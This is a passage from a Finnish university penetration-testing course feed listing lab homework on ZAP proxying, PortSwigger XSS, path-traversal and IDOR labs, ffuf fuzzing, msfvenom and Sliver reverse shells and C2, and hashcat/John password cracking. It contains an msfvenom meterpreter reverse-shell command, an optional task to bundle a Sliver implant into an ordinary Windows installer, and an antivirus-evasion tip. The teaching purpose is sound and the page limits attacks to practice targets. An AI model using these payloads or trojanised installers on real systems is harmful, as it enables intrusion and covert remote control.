&lt;h3 id=&quot;h4-taysin-laillinen-sertifikaatti&quot;&gt;h4 Täysin Laillinen Sertifikaatti &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#h4-taysin-laillinen-sertifikaatti&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue/katso ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista - ei pitkiä esseitä. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys.)
&lt;ul&gt;
&lt;li&gt;OWASP 2021: OWASP Top 10:2021
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/Top10/A01_2021-Broken_Access_Control/&quot;&gt;A01:2021 – Broken Access Control &lt;/a&gt; (IDOR ja path traversal ovat osa tätä)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;PortSwigget Academy:
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/access-control/idor&quot;&gt;Insecure direct object references (IDOR)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/file-path-traversal&quot;&gt;Path traversal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/cross-site-scripting&quot;&gt;Cross-site scripting&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Totally Legit Sertificate. Asenna OWASP ZAP, generoi CA-sertifikaatti ja asenna se selaimeesi. Laita ZAP proxyksi selaimeesi.  Laita ZAP sieppaamaan myös kuvat, niitä tarvitaan tämän kerran kotitehtävissä. Osoita, että hakupyynnöt ilmestyvät ZAP:n käyttöliittymään. (Voi vaatia Firefox about:config network.proxy.allow_hijacking_localhost. Foxyproxy laittoi tämän aiemmin päälle itse. Kalin Firefox ESR oli viimeksi ongelmia Foxyproxyn kanssa - vaihtoehtona on asettaa Proxy käsin Settings, hakusana &quot;proxy&quot;)&lt;/li&gt;
&lt;li&gt;b) Kettumaista. Asenna &quot;FoxyProxy Standard&quot; Firefox Addon, ja lisää ZAP proxyksi siihen. Käytä FoxyProxyn &quot;Patterns&quot; -toimintoa, niin että vain valitsemasi weppisivut ohjataan Proxyyn. (Läksyssä ohjataan varmaankin PortSwigger Labs ja localhost.)&lt;/li&gt;
&lt;li&gt;PortSwigger Labs. Ratkaise tehtävät. Selitä ratkaisusi: mitä palvelimella tapahtuu, mitä eri osat tekevät, miten hyökkäys löytyi, mistä vika johtuu. Kannattaa käyttää ZAPia, vaikka malliratkaisut käyttävät harjoitusten tekijän maksullista ohjelmaa. Monet tehtävät voi ratkaista myös pelkällä selaimella. Malliratkaisun kopioiminen ZAP:n tai selaimeen ei ole vastaus tehtävään, vaan ratkaisu ja haavoittuvuuden etsiminen on selitettävä ja perusteltava.
&lt;ul&gt;
&lt;li&gt;Cross Site Scripting (XSS)
&lt;ul&gt;
&lt;li&gt;c) &lt;a href=&quot;https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded&quot;&gt;Reflected XSS into HTML context with nothing encoded&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;d) &lt;a href=&quot;https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded&quot;&gt;Stored XSS into HTML context with nothing encoded&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;e) Selitä esimerkin avulla, mitä hyökkääjä hyötyy XSS-hyökkäyksestä. Alert(&quot;Hei Tero!&quot;) ei vielä tarjoa kummoista pääsyä. (Tässä alakohdassa ei tarvitse tehdä testejä tietokoneella, pelkkä lyhyt ja selkeä selitys riittää.)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Path traversal
&lt;ul&gt;
&lt;li&gt;f) &lt;a href=&quot;https://portswigger.net/web-security/file-path-traversal/lab-simple&quot;&gt;File path traversal, simple case&lt;/a&gt;. Laita tarvittaessa Zapissa kuvien sieppaus päälle.&lt;/li&gt;
&lt;li&gt;g) &lt;a href=&quot;https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass&quot;&gt;File path traversal, traversal sequences blocked with absolute path bypass&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;h) &lt;a href=&quot;https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively&quot;&gt;File path traversal, traversal sequences stripped non-recursively&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Insecure Direct Object Reference (IDOR)
&lt;ul&gt;
&lt;li&gt;i) &lt;a href=&quot;https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references&quot;&gt;Insecure direct object references&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;j) Vapaaehtoinen, helppo: Asenna &lt;a href=&quot;https://github.com/ffuf/pencode&quot;&gt;pencode&lt;/a&gt; ja muunna sillä jokin merkkijono (encode a string).&lt;/li&gt;
&lt;li&gt;k) Vapaaehtoinen: Mitmproxy. Asenna MitmProxy. Esittele sitä terminaalissa (TUI). Ota TLS-purku käyttöön. Poimi historiasta hakupyyntö, muokkaa sitä ja lähetä uudelleen.&lt;/li&gt;
&lt;li&gt;l) Vapaaehtoinen: Ratkaise lisää PortSwigger Labs -tehtäviä. Kannattaa tehdä helpoimmat &quot;Apprentice&quot; -tason tehtävät ensin.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Firefox ei enää ohjaa proxyyn liikennettä mihinkään 127-alkuiseen IP-osoitteeseen eikä localhostiin. Foxyproxy tai about:config network.proxy.allow_hijacking_localhost auttaa&lt;/li&gt;
&lt;li&gt;Zap asennus
&lt;ul&gt;
&lt;li&gt;Nykyisin Kalissa &#39;sudo apt-get install zaproxy&#39;, &#39;zaproxy&#39; näytti toimivan, joten kannattaa kokeilla sitä ensin.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.zaproxy.org/download/&quot;&gt;OWASP ZAP Download-sivun&lt;/a&gt; sopivin JAR on &quot;Cross Platform Package&quot;, noin 250 MB.&lt;/li&gt;
&lt;li&gt;Kalissa &#39;sudo apt-get install zaproxy&#39;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Proxya voi testata vaikkapa Metasploitablen weppipalveluiden kanssa. Tai &lt;a href=&quot;https://terokarvinen.com/2024/webgoat-podman/&quot;&gt;asentaa WebGoatin Podmaniin&lt;/a&gt;. Tai käyttää läksyn PortSwigger Labsin harjoituksia.
&lt;ul&gt;
&lt;li&gt;Älä tee hyökkäyksiä mihinkään muualle kuin harjoitusmaaleihin&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ZAP TLS-yhteyksien avaamiseen CA-sertifikaatti
&lt;ul&gt;
&lt;li&gt;Löytyy Tools: Options: Network alta, hakusanaksi &quot;Certificate&quot;.
&lt;ul&gt;
&lt;li&gt;Joissain versioissa haku ei suodata listaa, vaan värittää osumat oranssilla. Ja tietysti oikea sertifikaatti on piilossa, niin että pitää klikkaamalla avata listaa. Sertifikaattikohtia on kaksi, tässä turha asiakkaan sertifikaatti ja oikea, tarvittava palvelimen sertifikaatti (Server Certificate tms).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Firefoxissa Settings ja hakusanaksi &quot;Certificate&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ZAP:n tärkein toiminto: Requester tab.
&lt;ul&gt;
&lt;li&gt;Löytyy historiasta oikeaa nappia painamalla. Myös Ctrl-W.&lt;/li&gt;
&lt;li&gt;Muokkaa hakupyyntöä ja lähetä. Vastaus näkyy vieresssä. Korjaa ja lähetä uudelleen.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ZAP hakupyynnön pysäytys
&lt;ul&gt;
&lt;li&gt;Vain, jos Requester eli saman pyynnön uudelleenlähetys ei toimi.&lt;/li&gt;
&lt;li&gt;Puussa olevista osoitteista oikeaa nappia, menusta &quot;Break...&quot;&lt;/li&gt;
&lt;li&gt;Tee pyyntö selaimella&lt;/li&gt;
&lt;li&gt;Pyyntö näkyy ZAPissa oikealla ylhäällä &quot;Break&quot; välilehdellä.&lt;/li&gt;
&lt;li&gt;Muokaa pyynnön tekstiä, lähetä eteenpäin yläreunan työkalupallin Play-symbolia klikkaamalla&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ZAP kuvien sieppaus muistaakseni Options: Display: ...images.
&lt;ul&gt;
&lt;li&gt;Osa tässäkin läksynä olevista harjoituksista edellyttää, että kuvien sieppaus on päällä.&lt;/li&gt;
&lt;li&gt;Monissa ZAP:n versioissa jättää kokonaan kuvat näyttämättä oletuksena.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;PortSwiggerin tehtävissä voi käyttää välimiesproxyna ZAP:ia tai MitmProxya. Ei siis tarvitse ostaa noiden harjoitusten tekijän kuuluisaa ohjelmaa.&lt;/li&gt;
&lt;li&gt;Pencoder - loistava ohjelma stringien muunteluun fuff:n tekijältä. Esim. URLEncode, base64...
&lt;ul&gt;
&lt;li&gt;Pencoder asennus ulkomuistista: hae Github-sivu &quot;fuff pencode&quot;, Releases, pencode*linux_amd64.tar.gz, pura paketti, aja valmis binääri, kopioi se /usr/local/bin/.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Viittaa
&lt;ul&gt;
&lt;li&gt;Viittasithan kurssiin ja tehtäväsivuun?&lt;/li&gt;
&lt;li&gt;Viittasithan kaikkiin käyttämiisi artikkeleihin?&lt;/li&gt;
&lt;li&gt;Viittasithan muiden tehtäväraportteihin, jos käytit lähteenä?&lt;/li&gt;
&lt;li&gt;Videoihin, man-sivuihin, ohjelmiin, StackOverflowhun...&lt;/li&gt;
&lt;li&gt;Viittasithan kaikkiin muihinkin lähteisiin?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Hakkeroimaan oppii hakkeroimalla.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h5-fuzzy&quot;&gt;h5 Fuzzy &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#h5-fuzzy&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Opit käyttämään maailman johtavaa weppifuzzeria: ffuf.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Lisää mukaan jokin oma idea, huomio, kysymys tai kommentti.)
&lt;ul&gt;
&lt;li&gt;Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/fuzz-urls-find-hidden-directories/&quot;&gt;Find Hidden Web Directories - Fuzz URLs with ffuf&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Jompi kumpi, Hoikkalan video tai teksti:
&lt;ul&gt;
&lt;li&gt;Hoikkala 2023: &lt;a href=&quot;https://github.com/ffuf/ffuf/blob/master/README.md&quot;&gt;ffuf README.md&lt;/a&gt;, tai&lt;/li&gt;
&lt;li&gt;Hoikkala &quot;joohoi&quot; 2020: &lt;a href=&quot;https://www.youtube.com/watch?v=mbmsT3AhwWU&quot;&gt;Still Fuzzing Faster (U fool)&lt;/a&gt;. In HelSec Virtual meetup #1. (Noin tunnin mittainen)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Fuzzzz. Ratkaise dirfuz-1 artikkelista Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/fuzz-urls-find-hidden-directories/&quot;&gt;Find Hidden Web Directories - Fuzz URLs with ffuf&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;b) Fuff me. Asenna FuffMe-harjoitusmaali. Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/fuffme-web-fuzzing-target-debian&quot;&gt;Fuffme - Install Web Fuzzing Target on Debian&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ratkaise ffufme harjoitukset - kaikki paitsi ei &quot;Content Discovery - Pipes&quot;.
&lt;ul&gt;
&lt;li&gt;c) Basic Content Discovery&lt;/li&gt;
&lt;li&gt;d) Content Discovery With Recursion&lt;/li&gt;
&lt;li&gt;e) Content Discovery With File Extensions&lt;/li&gt;
&lt;li&gt;f) No 404 Status&lt;/li&gt;
&lt;li&gt;g) Param Mining&lt;/li&gt;
&lt;li&gt;h) Rate Limited&lt;/li&gt;
&lt;li&gt;i) Subdomains - Virtual Host Enumeration&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h6-koita-simpukoita&quot;&gt;h6 Koita simpukoita &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#h6-koita-simpukoita&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Mitä kirjainta pitää painaa? Missä on &quot;any key&quot;? Nyt joudut itse hakemaan ohjeita verkosta työkalujen käyttöön, mikä tekee monesta kohdasta haastavamman.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Mikään tässä harjoituksessa tehty tai käytetty ohjelma ei saa olla itsestään leviävä (ei virus, ei mato).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Useimmat tehtävät eivät edellytä haittaohjelman binäärin liittämistä raporttiin. Mikäli laitat binäärin verkkoon, pakkaa se salakirjoitettuun zip-pakettiin ja laita salasanaksi yleisen käytännön mukaan &quot;infected&quot;. Latauslinkin yhteydessä on oltava selkeä varoitus siitä, että kyseessä on haittaohjelma (malware), jota ei tule ajaa tuotantokoneilla. Salasanan voit halutessasi kertoa varoitusten yhteydessä.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a) Venom. Tee msfvenom-työkalulla haittaohjelma, joka soittaa kotiin (reverse shell). Ota yhteys vastaan metasploitin multi/handler -työkalulla.&lt;/li&gt;
&lt;li&gt;b) Snif venom! Tarkastele ja analysoi msfvenomin muodostamaa reverse shell -yhteyttä. Käytä snifferiä, kuten Wireshark. Mitä havaitset? Mistä ominaisuuksista yhteyden voi tunnistaa? Millä muutoksilla tunnistamista voi vaikeuttaa?&lt;/li&gt;
&lt;li&gt;c) Hello, Sliver. Näytä esimerkki http-yhteydestä Sliverillä.&lt;/li&gt;
&lt;li&gt;d) Sniff Sliver! Tarkastele Sliverin http-yhteyttä snifferillä. Mitä havaitset? Mistä ominaisuuksista yhteyden voi tunnistaa?&lt;/li&gt;
&lt;li&gt;e) Sliverillä voit muuttaa yhteyden ominaisuuksia. Kokeile ja näytä esimerkki. Muista todeta testein, että muutokset toimivat.&lt;/li&gt;
&lt;li&gt;f) Sliverillä voi tehdä monenlaista kohteessa, ruutukaappauksista alkaen. Näytä esimerkkejä toiminnoista.&lt;/li&gt;
&lt;li&gt;g) Vapaaehtoinen: Kokeile Sliver-binääriä Windowsissa.&lt;/li&gt;
&lt;li&gt;h) Vapaaehtoinen: Tee Windows-asennusohjelma, joka asentaa jonkin tavallisen ohjelman ja sen yhteydessä Sliver-haitakkeen.&lt;/li&gt;
&lt;li&gt;i) Vapaaehtoinen: Kokeile Veil.&lt;/li&gt;
&lt;li&gt;j) Vapaaehtoinen: Kokeile ScareCrow.&lt;/li&gt;
&lt;li&gt;k) Vapaaehtoinen: Tee PoshC2-työkalulla haittaohjelma, joka soittaa kotiin.&lt;/li&gt;
&lt;li&gt;l) Vapaaehtoinen: Tee Mythic-työkalulla haittaohjelma, joka soittaa kotiin.&lt;/li&gt;
&lt;li&gt;m) Vapaaehtoinen: Asenna Windows-virtuaalikone ja tee kotiin soittava haittaohjelma siihen. Itse tykkään Linuxista ja käytän paljon sitä, tässä hieman vaihtelua. Windows-käyttäjät ovat myös usein tottuneet (paketinhallinnan puutteessa) lataamaan ohjelmia weppisivuilta.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Irrota tarvittasessa koneet netistä testien ajaksi.&lt;/li&gt;
&lt;li&gt;Metasploit msfconsole multi/handler
&lt;ul&gt;
&lt;li&gt;laita samat asetukset kuin msfvenom&lt;/li&gt;
&lt;li&gt;muista &#39;set payload&#39;&lt;/li&gt;
&lt;li&gt;&#39;run -j&#39; ajaa taustalla, sessiot ovat &#39;sessions&#39;&lt;/li&gt;
&lt;li&gt;prosessoriarkkitehtuuri kohteen mukaan&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Reverse shell:
&lt;ul&gt;
&lt;li&gt;Palvelimen päässä pitää olla reikä tulimuurissa.&lt;/li&gt;
&lt;li&gt;Reverse shell tarkoittaa, että palvelin (server, kuunteleva portti) on hyökkäyskoneella.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Sliveriin kannattaa tarvittaessa hakea ohjeita myös tekoälyllä. Vielä joitakin kuukausia sitten Sliverin omissa ohjeissa oli ärsyttäviä virheitä - toivottavasti ne on jo korjattu.&lt;/li&gt;
&lt;li&gt;Jos liität haittaohjelmien binäärejä raporttiin, pitää estää niiden asentaminen vahingossa
&lt;ul&gt;
&lt;li&gt;Salakirjoitettu zip-paketti, salasana &quot;infected&quot;&lt;/li&gt;
&lt;li&gt;Varoitus lautauslinkin yhteyteen: haittaohjelma / malware&lt;/li&gt;
&lt;li&gt;Jos testaat eristetyissä laboratorioympäristöissä virustorjunnan ohitusta, niin tietysti siinä käytetään vain sisältöä ja vältetään pahoja sanoja &quot;malware&quot;, &quot;infected&quot;, &quot;meterpreter&quot;...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Muista ht8 lipunryöstöä aloittelijoille&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Esimerkki ulkomuistista, pitää itse soveltaa&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;msfvenom&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;p&lt;/span&gt; linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8080&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;o&lt;/span&gt; infected&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;h7-toukokuu2026&quot;&gt;h7 Toukokuu2026! &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#h7-toukokuu2026&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Nyt levitään! Opit murtamaan salasanoja. Huomaa myös h8 bonus.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue/katso ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys.)
&lt;ul&gt;
&lt;li&gt;Karvinen 2022: &lt;a href=&quot;https://terokarvinen.com/2022/cracking-passwords-with-hashcat/&quot;&gt;Cracking Passwords with Hashcat&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/crack-file-password-with-john/&quot;&gt;Crack File Password With John&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Vapaaehtoinen: € Santos et al 2017: Security Penetration Testing - The Art of Hacking Series LiveLessons: &lt;a href=&quot;https://learning.oreilly.com/videos/security-penetration-testing/9780134833989/9780134833989-sptt_00_06_00_00&quot;&gt;Lesson 6: Hacking User Credentials&lt;/a&gt; (8 videos, about 30 min)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Asenna Hashcat ja testaa sen toiminta murtamalla esimerkkisalasana.&lt;/li&gt;
&lt;li&gt;c) Asenna John the Ripper ja testaa sen toiminta murtamalla jonkin esimerkkitiedoston salasana.&lt;/li&gt;
&lt;li&gt;e) Tiedosto. Tee itse tai etsi verkosta jokin salakirjoitettu tiedosto, jonka saat auki. Murra sen salaus. (Jokin muu formaatti kuin aiemmissa alakohdissa kokeilemasi).&lt;/li&gt;
&lt;li&gt;f) Tiiviste. Tee itse tai etsi verkosta salasanan tiiviste, jonka saat auki. Murra sen salaus. (Jokin muu formaatti kuin aiemmissa alakohdissa kokeilemasi. Voit esim. tehdä käyttäjän Linuxiin ja murtaa sen salasanan.)&lt;/li&gt;
&lt;li&gt;g) Sanakirja. Oman sanakirjan teko parantaa onnistumismahdollisuuksia. Demonstroi, kuinka teet oman sanakirjan hashcat:n tai john:iin.&lt;/li&gt;
&lt;li&gt;h) Hash rules. Näytä esimerkki HashCatin sääntöjen käytöstä (rules).&lt;/li&gt;
&lt;li&gt;i) Lippuvalmistelu. Valmistele kone ensi viikon lipunryöstöön. Tästä kohdasta ei tarvita kattavaa raporttia, riittää pelkkä luettelo siitä, miten ratkaisit allaolevat kysymykset. Jos sinulla on esimerkiksi valmis, toimiva Kali VM tavallisella PC:llä, tässä ei tarvitse tehdä juuri mitään.
&lt;ul&gt;
&lt;li&gt;amd64. Haasteet voivat sisältää amd64-binäärejä. Nämä toimivat itsestään perus-PC:ssä, joita lähes kaikkien koneet ovat. Macintosheissa (M1, M2, M3...) hankala tehdä tehtävää, joten kannattaa ottaa tavallinen amd64-kone.&lt;/li&gt;
&lt;li&gt;Netti. Koneesta pitää päästä nettiin, jotta voit palauttaa liput. Voi olla kätevää, että saat nettiyhteyden katkaistuksi, jotta porttiskannailu ym. on huoletonta.&lt;/li&gt;
&lt;li&gt;Too many secrets. Opettaja voi tarkastaa lipunryöstön koneesi ja tutkia kaikkia siellä olevia tiedostoja. Jos käytät pelkästään virtuaalikonetta (myös selailu, muistiinpanot ym virtuaalikoneesta), tarkastaminen koskee vain sitä. Katso, ettei tällä koneella ole luottamuksellisia tietoja.&lt;/li&gt;
&lt;li&gt;Koneella saa olla haluamasi ohjelmat ja työkalut. Työkaluista ja ohjelmista pitää antaa opettajalle kopio, jos ne eivät ole yleisesti käytettyjä, tunnettuja ja saatavilla olevia vapaita ohjelmia.&lt;/li&gt;
&lt;li&gt;Jos lipunryöstön koneella on muistiinpanoja, niistä on annettava kopio opettajalle sähköpostilla. Omia muistiinpanoja saa olla, mutta ei ole pakko. Lipunryöstössä saa lukea julkisia lähteitä, kuten opettajan kotisivuja sekä omia ja toisten julkisia raportteja.&lt;/li&gt;
&lt;li&gt;Paikallinen tekoäly. Omaa tekoälyä ei tarvita lipunryöstössä, eikä siitä todennäköisesti ole juuri hyötyä. Mutta siltä varalta, että joku miettii tätä: Paikallisen tekoälyn käyttö lipunryöstössä on sallittu, jos ilmoittaa Terolle etukäteen sähköpostilla siitä, antaa opettajalle sähköpostitse täydellisen kopion keskustelusta tekoälyn kanssa ja kaikki paramaterit, sekä kopion tekoälyn koodista ja painoista tai linkin niihin. Ulkopuolisen tekoälyn käyttö verkon yli on lipunryöstössä kielletty.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sanakirjan teko, vaihtoehtoja
&lt;ul&gt;
&lt;li&gt;cewl (verbose, limit depth)&lt;/li&gt;
&lt;li&gt;copy-paste, sanat erilleen, duplikaatit pois&lt;/li&gt;
&lt;li&gt;Elokuu2026!, Syyskuu2026!...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Hashcatin säännöistä best64 on kokeilemisen arvoinen&lt;/li&gt;
&lt;li&gt;O&#39;Reilly Learning videot ja kirjat pääset lukemaan &lt;a href=&quot;https://libguides.haaga-helia.fi/az/databases&quot;&gt;ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston kautta&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Onnea lipunryöstöön!&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&quot;h8-bonus&quot;&gt;h8 Bonus &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#h8-bonus&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Vapaaehtoinen bonus: luettele ja linkitä tähän tekemäsi&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a) Vapaaehtoiset tehtävät&lt;/li&gt;
&lt;li&gt;b) Ristiinarvioinnin jälkeen olennaisesti parannetut tehtävät&lt;/li&gt;
&lt;li&gt;c) Kurssin ulkopuolella tekemäsi kiinnostavat hakkerointihaasteet, esimerkiksi
&lt;ul&gt;
&lt;li&gt;Projektit&lt;/li&gt;
&lt;li&gt;HackTheBox korkatut koneet, mukaan ruutukaappaus pistesivustasi. Erottele retired ja non-retired. (Ei non-retired boksien läpikävelyohjeita julkiseen weppiin)&lt;/li&gt;
&lt;li&gt;Lipunryöstöt&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tehtävän määräaika on 24 h ennen viimeisen opetuskerran alkua. Tämä bonustehtävä on kokonaan vapaaehtoinen.&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>Verkkoon tunkeutuminen ja tiedustelu</title>
    <link href="https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/"/>
    <id>https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/</id>
    <published>2026-03-22T12:47:00+02:00</published>
    <updated>2026-03-22T12:47:00+02:00</updated>
    <content type="html">&lt;p&gt;Attack the network between machines. Capture radio transmissions. Copy key cards. Attack WiFi.&lt;/p&gt;
&lt;p&gt;Maybe even some software radio...&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Course name and code&lt;/td&gt;&lt;td&gt;Verkkoon tunkeutuminen ja tiedustelu ICI013AS3A-3003 (&lt;a href=&quot;https://opinto-opas.haaga-helia.fi/course_unit/ICI013AS3A&quot;&gt;opinto-opas&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Translated name&lt;/td&gt;&lt;td&gt;Network Attacks and Reconnaissance&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Timing&lt;/td&gt;&lt;td&gt;&lt;strong&gt;2026 period 4&lt;/strong&gt;, late spring (2026 w13-w20)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Credits&lt;/td&gt;&lt;td&gt;5 cr&lt;/td&gt;&lt;/tr&gt;
